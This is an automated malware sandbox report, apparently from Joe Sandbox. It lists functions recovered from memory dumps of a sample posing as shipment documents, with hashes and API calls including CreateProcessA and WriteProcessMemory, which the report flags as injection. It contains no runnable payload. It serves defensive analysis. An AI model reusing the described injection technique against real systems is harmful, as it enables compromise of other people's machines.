Instruction ID: d4d6e1ea5e8cad2d2654dcacad89cbcf75117f355b2331b1a19eb975ba1e1102
Opcode Fuzzy Hash: fcbd58049a624606989b252e4ca47b269f783056910103daa2baa8effb29f823
Instruction Fuzzy Hash: 8CE08676E5032A87CB01EBB0DD040EEB735AFD1221F59451BC4A532180EB30665A8792

Function 02A328B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f29641ee47913da3220ebff5a7961da3f13df7957e61362b255a518f03c18855
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: f29641ee47913da3220ebff5a7961da3f13df7957e61362b255a518f03c18855
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 02A3D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a351aa77bde1997cfc5ab900d77af0364a89b611f1cad614f1547aa79b9a73d
Instruction ID: 96a20c8d04e8c027be868557d2f3043eb2b6d51c958c78dbea7818f36243f399
Opcode Fuzzy Hash: 8a351aa77bde1997cfc5ab900d77af0364a89b611f1cad614f1547aa79b9a73d
Instruction Fuzzy Hash: 73D0E234E44008CBCF20DFB8E4844DCBB74EB88321B10542AE825A7210D6305460CF00

Function 02A36739 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4baebb448c867e67a9175068b5a84763477548b33382754b2535e9b1d2ff6263
Instruction ID: d41ea84c4c58f40cd4947e0c418a48b588aa251b39cb90ff629a9a27bc79a5e0
Opcode Fuzzy Hash: 4baebb448c867e67a9175068b5a84763477548b33382754b2535e9b1d2ff6263
Instruction Fuzzy Hash: 35D02E3345030A8ECB00F720EC42B047B6AB780208F009520E0154B21EEF78A8648B40

Function 02A3AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eee6703129eb76f5471c1ac5fa716d3ec6400d9db94f8b8d92040ca2d893bf3d
Instruction ID: a7af40af0fa7439ff073fdc04d660932f67dff72ca53cad15f0b1c34cacc13a7
Opcode Fuzzy Hash: eee6703129eb76f5471c1ac5fa716d3ec6400d9db94f8b8d92040ca2d893bf3d
Instruction Fuzzy Hash: BED0673AB40018DFCF049F99E840CDDF7B6FB98261B148516E915A7261CA319925DB54

Function 02A36748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee1e29dd38130649b40bb1bb444613d3d646e066bdd2c66854e2ac972e7feda1
Instruction ID: 4e8a94c366f1937df7520f3d0447f3a901e49e53cbd1a26111d4845ec03c6213
Opcode Fuzzy Hash: ee1e29dd38130649b40bb1bb444613d3d646e066bdd2c66854e2ac972e7feda1
Instruction Fuzzy Hash: E8C080314443194FC905F775FD45659772FF6C02047509530D4094B75DEF745CA95790

Non-executed Functions

Function 068F0040 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5vq, xrefs: 068F015B

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: .5vq
API String ID: 0-493797296
Opcode ID: 1d3c3d120ec100b4d9d3391f017eef0745ede84a9a5b9e61b9881d6b56294ba3
Instruction ID: 226a77457163b0ae80ee712499b3ae72acbaac92c45621dad9f1c8b4a6f49bd5
Opcode Fuzzy Hash: 1d3c3d120ec100b4d9d3391f017eef0745ede84a9a5b9e61b9881d6b56294ba3
Instruction Fuzzy Hash: F152B974E01228CFDB64DF69C984B9DBBB2BF89300F1085EAD509AB255DB359E81CF50

Function 02A3F961 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6823cd61ba80a7694dc2c36ca800466dfa1c2155e63e061f9e7bfb8b755c0698
Instruction ID: 7727b268b3119a239caf8a23da021cd301b6925a7d84b2998102d9f9246c617f
Opcode Fuzzy Hash: 6823cd61ba80a7694dc2c36ca800466dfa1c2155e63e061f9e7bfb8b755c0698
Instruction Fuzzy Hash: FEC1C274E11218CFDB54DFA9C994B9DBBB2BF89304F2080A9D809AB364DB355E85CF50

Function 068FE6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98d58ae152601d34960fac82b9b9f392eb1f156924b85aff3f8fd83f5b1f7c35
Instruction ID: 4377c2247123c7e983c1c80e5e0825bd62d4deec0c7ab2d7f05eec7d08903869
Opcode Fuzzy Hash: 98d58ae152601d34960fac82b9b9f392eb1f156924b85aff3f8fd83f5b1f7c35
Instruction Fuzzy Hash: CDC1B274E10218CFDB54DFA9C954BADBBB2BF89304F1080A9D909AB364DB359E85CF50

Function 068FDE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a47eaa187e273f377ed3dd9e357205607b09d7f8ffe8b52e0ccecd5fc24f43
Instruction ID: 31f2aca570c4be760bb182fa0c08756ab2c9db074f398155e9abfc827d274560
Opcode Fuzzy Hash: 68a47eaa187e273f377ed3dd9e357205607b09d7f8ffe8b52e0ccecd5fc24f43
Instruction Fuzzy Hash: 4EC1B274E10218CFDB54DFA9C954B9DBBB2BF89304F1080A9D909AB364DB359E85CF50

Function 068FE258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42cd6b59af62bed5ce76e4b827632307e2111dd4407da0a6e8f2b145025e1933
Instruction ID: da5adae2d0e01d7e1df155ee74ab29d7b869df7c3b726b5f21481e34b6945490
Opcode Fuzzy Hash: 42cd6b59af62bed5ce76e4b827632307e2111dd4407da0a6e8f2b145025e1933
Instruction Fuzzy Hash: 26C1B274E10218CFDB54DFA9C954B9DBBB2BF89304F2080A9D909AB364DB359E85CF50

Function 068FEB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a9e440ea38dcdcab200b03b979f3aae1fc537c05d602ba37aaa75ec4efd93f8
Instruction ID: 7e19a2d7ab1806546f36629fe0c1fc350b52d34d29ed1983d17c3ec6c40932c2
Opcode Fuzzy Hash: 9a9e440ea38dcdcab200b03b979f3aae1fc537c05d602ba37aaa75ec4efd93f8
Instruction Fuzzy Hash: 06C1C174E10218CFDB54DFA9C944BADBBB2BF89304F1080A9D909AB364DB359E85CF50

Function 068FEF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4100449e3bc42f7ed3b71f3210aa5dcb327ed570c97708c38d0c5029069fb33
Instruction ID: bf38a5b8d3aa8ad269069275e8d8db85487a53cce48bec38f8f81770577ba709
Opcode Fuzzy Hash: b4100449e3bc42f7ed3b71f3210aa5dcb327ed570c97708c38d0c5029069fb33
Instruction Fuzzy Hash: 8FC1C174E10218CFDB54DFA9C954BADBBB2BF89300F2080A9D909AB354DB359E85CF51

Function 068FCCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a347cc799c1e1d1137db10784560cac175c196c9b421cc62aa1d24fa6eb206f
Instruction ID: 2dd403afe161a74ee002bd6146f913b8abe7c9f70e03eec2e7d9e2893999c63c
Opcode Fuzzy Hash: 8a347cc799c1e1d1137db10784560cac175c196c9b421cc62aa1d24fa6eb206f
Instruction Fuzzy Hash: F9C1B174E10218CFDB54DFA9C954BADBBB2BF89300F2080A9D909AB354DB359E85CF50

Function 068FD0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d015a7bfe1e40953ed37d44955a9dab8f86187b7da75e5bec0b1d2167733cd9d
Instruction ID: 1b2dc6ac718517687824f54f76648bd28d62dd5e27341ae6b5c456b9afdc0d9d
Opcode Fuzzy Hash: d015a7bfe1e40953ed37d44955a9dab8f86187b7da75e5bec0b1d2167733cd9d
Instruction Fuzzy Hash: 60C1B274E10218CFDB54DFA9C954BADBBB2BF89304F1080A9D909AB354DB359E85CF50

Function 068FF810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71cba48efc9125134d462b318e02793cb77d00e712dd69f259d97190fd1f724c
Instruction ID: e520828b37f997b2e8a478783738353c8de5d5b866782ab1d68b0ebbddbb25e8
Opcode Fuzzy Hash: 71cba48efc9125134d462b318e02793cb77d00e712dd69f259d97190fd1f724c
Instruction Fuzzy Hash: 17C1B274E10218CFDB54DFA9C954BADBBB2BF89304F2080A9D909AB354DB359E85CF50

Function 068FD9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce30a3e09a90ce5f847d3a7bb387dacf3174fd171adf43f651114fb265c5160d
Instruction ID: 40af5d5de2129d90dd536c4ec3228bdb01a2d12f962076b7e25168e3472699c4
Opcode Fuzzy Hash: ce30a3e09a90ce5f847d3a7bb387dacf3174fd171adf43f651114fb265c5160d
Instruction Fuzzy Hash: 92C1B174E10218CFDB54DFA9C954BADBBB2BF89304F2080A9D909AB354DB359E85CF50

Function 068FD550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46f1461be5b6cce020881cab0441e51e82fbd3e099cd6e2dfd4c0ed4a0ae018e
Instruction ID: 9ffa58ee6d054a8404a9059dec5db467d5a9e05f345c408f89dc72da99e18b61
Opcode Fuzzy Hash: 46f1461be5b6cce020881cab0441e51e82fbd3e099cd6e2dfd4c0ed4a0ae018e
Instruction Fuzzy Hash: 7DC1C174E10218CFDB54DFA9C994B9DBBB2BF89300F2080A9D909AB354DB359E85CF50

Function 068F0673 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c090a2ad55365e3be8d634a0c6979e094a9eb00423dc1f47acb9b3298078913c
Instruction ID: 23262aebe387071f5ecfa71c34a0f37402f07aba564017a1c191084233b93a07
Opcode Fuzzy Hash: c090a2ad55365e3be8d634a0c6979e094a9eb00423dc1f47acb9b3298078913c
Instruction Fuzzy Hash: D2A19974A01228CFDB65DF24C994B9EBBB2BF4A304F1084EAD50EA7254DB319E81CF51

Function 02A3F2C0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63e34a67dbfaa59b250a75fde21190e7deb3670f02dd2b3ef266e5776996434
Instruction ID: 869afdc028828715cdb141b7b4ff1e12492826e15e371a6df9edbd8f5a33870e
Opcode Fuzzy Hash: b63e34a67dbfaa59b250a75fde21190e7deb3670f02dd2b3ef266e5776996434
Instruction Fuzzy Hash: 4F516470D14208CFDB06EFA9D9847ADFBB2BF89304F20D129E404AB698DB759881CF54

Function 02A3F4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5b73eba95ea3ce871c8b9eade475f7cf7f16759633e36571d4800e056d06ecd
Instruction ID: 6ec92d4b5d0df5612788444ae881a520533cb8a90a75793bd12435f857077c6f
Opcode Fuzzy Hash: a5b73eba95ea3ce871c8b9eade475f7cf7f16759633e36571d4800e056d06ecd
Instruction Fuzzy Hash: 07512370D15208CFCB12EFA8D5847EDBBB2BF49314F209129E419AB694DB759881CF54

Function 068F0853 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4155123537.00000000068F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_68f0000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c291e2614c11bdd0d606322ff5eedf1815abcf9bac9b00956c45acee6420b615
Instruction ID: 468b1cf0996731d8330747a78f515ebef9d43b1e917d8416296c1596ff5c3ec9
Opcode Fuzzy Hash: c291e2614c11bdd0d606322ff5eedf1815abcf9bac9b00956c45acee6420b615
Instruction Fuzzy Hash: 4551BF34A01228CFCB65DF24C854BADB7B2BF4A305F5089E9D50AA7354CB369E81CF50

Function 02A32A69 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

Xbq, xrefs: 02A32BA4
Xbq, xrefs: 02A32A9E
Xbq, xrefs: 02A32B57
Xbq, xrefs: 02A32AD8

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 905cd99ae9629ca95898282c506743fe21038c1b75a4d8ea3104a90090156240
Instruction ID: 766351782aa550778ae5bd0c3bf578815315cac7b3c05f7b6ad570b91c2c493c
Opcode Fuzzy Hash: 905cd99ae9629ca95898282c506743fe21038c1b75a4d8ea3104a90090156240
Instruction Fuzzy Hash: 04314171E042198BDFA6DF7989C13AFB6B6AB88300F1444B5E915A7394DF30CD85CB92

Function 02A36920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 02A3692C
\;^q, xrefs: 02A36952
\;^q, xrefs: 02A3695E
\;^q, xrefs: 02A36936

Memory Dump Source

Source File: 00000009.00000002.4136988490.0000000002A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a30000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: 628416a1f66d5079f6a16a36008809c527d19e6454143a35c04b12206382ff8b
Instruction ID: a92f7a454c3bef82539ecb18423cfa9f3fa7c796e61f66c92a8eceff8d0db703
Opcode Fuzzy Hash: 628416a1f66d5079f6a16a36008809c527d19e6454143a35c04b12206382ff8b
Instruction Fuzzy Hash: 04019A31B40104AF8B6A8F2CC584A2537EEAB88F60725446AF446CF3B4DE21DC418788

Analysis Process: ZOlmYtPdlO.exePID: 7824, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	266
Total number of Limit Nodes:	17

Executed Functions

Function 0094D4A9 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0094D536
GetCurrentThread.KERNEL32 ref: 0094D573
GetCurrentProcess.KERNEL32 ref: 0094D5B0
GetCurrentThreadId.KERNEL32 ref: 0094D609

Memory Dump Source

Source File: 0000000A.00000002.1764461525.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_940000_ZOlmYtPdlO.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 00a089a2cb2a66c7d3fe0913521d3e5ed771f9486213387296142b5112343512
Instruction ID: 3b15a5a39782878258281f49fc031a1337692c16e5c7adeff8d56abfef441208
Opcode Fuzzy Hash: 00a089a2cb2a66c7d3fe0913521d3e5ed771f9486213387296142b5112343512
Instruction Fuzzy Hash: 1C5188B09013488FDB14DFA9D548BAEBBF5EF88304F20C06AE448A7364DB749984CF65

Function 0094D4B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0094D536
GetCurrentThread.KERNEL32 ref: 0094D573
GetCurrentProcess.KERNEL32 ref: 0094D5B0
GetCurrentThreadId.KERNEL32 ref: 0094D609

Memory Dump Source

Source File: 0000000A.00000002.1764461525.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_940000_ZOlmYtPdlO.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1a4e3dba9d4fef44e80c6dd45420e9b15b8a04a2fda653c2b4b5ca5844644510
Instruction ID: edfb166b99bc1eb91b708fb0719b232cd2f71d503756ab38b6e505588fb3079f
Opcode Fuzzy Hash: 1a4e3dba9d4fef44e80c6dd45420e9b15b8a04a2fda653c2b4b5ca5844644510
Instruction Fuzzy Hash: 985167B09013098FDB14DFAAD548BAEBBF5EF88304F20C059E459A7360DB759984CF65

Function 069C7844 Relevance: 1.8, APIs: 1, Instructions: 273
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 069C7A86

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c2510547228e339ea094d3b12ce5345d33120e67a35d758e1e2556b939c9248c
Instruction ID: 0949f9d9d1deb246a77f06d3064c9acff80d523fbe03087c9dd3bc515ec93780
Opcode Fuzzy Hash: c2510547228e339ea094d3b12ce5345d33120e67a35d758e1e2556b939c9248c
Instruction Fuzzy Hash: E5B18071D00219CFDF50CFA9C8417EEBBB6BF44324F148569E848AB650DB749985CF92

Function 069C7850 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 069C7A86

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a262a1fb402523434157707b2da5be12cebe5c9074bde128c9428df41d2382a5
Instruction ID: ae1a0e09d53680cb4b1dc120c36766a0bc9e6653136d0dd4ee93264af79e53b7
Opcode Fuzzy Hash: a262a1fb402523434157707b2da5be12cebe5c9074bde128c9428df41d2382a5
Instruction Fuzzy Hash: 2B919071D00219DFDF54CFA8C841BEDBBB6BF48320F1485A9E848AB650DB749985CF92

Function 0094B230 Relevance: 1.7, APIs: 1, Instructions: 212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0094B486

Memory Dump Source

Source File: 0000000A.00000002.1764461525.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_940000_ZOlmYtPdlO.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: aabf2fee56ff9039a33f1ed3f43901cb719a73a03c5643a09f25c232d1589402
Instruction ID: dd9b8dbfbbb523b6bbfa2523081a8b9b39576827db9f6804b03d681a93cc1387
Opcode Fuzzy Hash: aabf2fee56ff9039a33f1ed3f43901cb719a73a03c5643a09f25c232d1589402
Instruction Fuzzy Hash: 22816970A00B458FD724DF6AC045BAABBF5FF88304F008A2ED08AD7A51D775E949CB91

Function 00944610 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00945F01

Memory Dump Source

Source File: 0000000A.00000002.1764461525.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_940000_ZOlmYtPdlO.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 18259cbc85ab64beede3fc750f58253900729e60f543a7518b4e722301ad5e32
Instruction ID: 1af3efa141fbd355127b409deb358d6758aadc059b18ffb82329eaecdc010cc6
Opcode Fuzzy Hash: 18259cbc85ab64beede3fc750f58253900729e60f543a7518b4e722301ad5e32
Instruction Fuzzy Hash: 2541F2B0C0071DDFDB24DFA9C944B9DBBB9BF44304F24809AE408AB255DBB56989CF91

Function 00945E44 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00945F01

Memory Dump Source

Source File: 0000000A.00000002.1764461525.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_940000_ZOlmYtPdlO.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 08e5e7ae2359465262359858faa40940b844d2fff518169da221a7e71a0d7a65
Instruction ID: 9fdcc350bb8ebc06db6f9d10bb08336a6a19e9087b48b743768edf5ab62054a8
Opcode Fuzzy Hash: 08e5e7ae2359465262359858faa40940b844d2fff518169da221a7e71a0d7a65
Instruction Fuzzy Hash: 4141C2B0C00719CFDB24DFA9C944BDDBBB5BF48304F24809AD448AB265DBB56989CF91

Function 04CE2F9C Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,04CE457D,?,?), ref: 04CE462F

Memory Dump Source

Source File: 0000000A.00000002.1769321176.0000000004CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4ce0000_ZOlmYtPdlO.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 4579198e97e55a99183154a0045fa21efe5df3d0b2084fa645952c85fa5d56ec
Instruction ID: 2aa8e551f2ea19977cc3a1948fba4b4cb43f783573abe3ff91cae4f938477e6f
Opcode Fuzzy Hash: 4579198e97e55a99183154a0045fa21efe5df3d0b2084fa645952c85fa5d56ec
Instruction Fuzzy Hash: 5431E2B5D013499FDB14CF9AD884AAEBBF5FB48310F14842AE919A7310D774A944CFA4

Function 04CE4590 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,04CE457D,?,?), ref: 04CE462F

Memory Dump Source

Source File: 0000000A.00000002.1769321176.0000000004CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4ce0000_ZOlmYtPdlO.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 452acf6f55fb0cc29fe2ae94075ac222a92942a1c0954b7a7ad3cf4442466fbc
Instruction ID: 4e2f89f6d2ab92005e9f1094db375729610f80fb6f0488f3521fd4b5dfccb43a
Opcode Fuzzy Hash: 452acf6f55fb0cc29fe2ae94075ac222a92942a1c0954b7a7ad3cf4442466fbc
Instruction Fuzzy Hash: B83100B5D00209DFCB10CF9AD984AEEBBF5BB48320F14842AE818A7210D774A944CFA4

Function 069C75C1 Relevance: 1.6, APIs: 1, Instructions: 70injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 069C7658

Memory Dump Source

Source File: 0000000A.00000002.1771106922.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_69c0000_ZOlmYtPdlO.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2bb4cdfa27cebc7138f53031653ae9de955fab5919c02d73dd3fa41d3f7418db
Instruction ID: b16416581c2e20588cacd988631a5bac3196404faa3516c9d2cd6c747ed6717f
Opcode Fuzzy Hash: 2bb4cdfa27cebc7138f53031653ae9de955fab5919c02d73dd3fa41d3f7418db
Instruction Fuzzy Hash: 322126B59003499FCB10CFA9C984BEEBBF5FB48320F10842AE918A7251D7789944CBA5

Function 069C75C8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 069C7658

Memory Dump Source

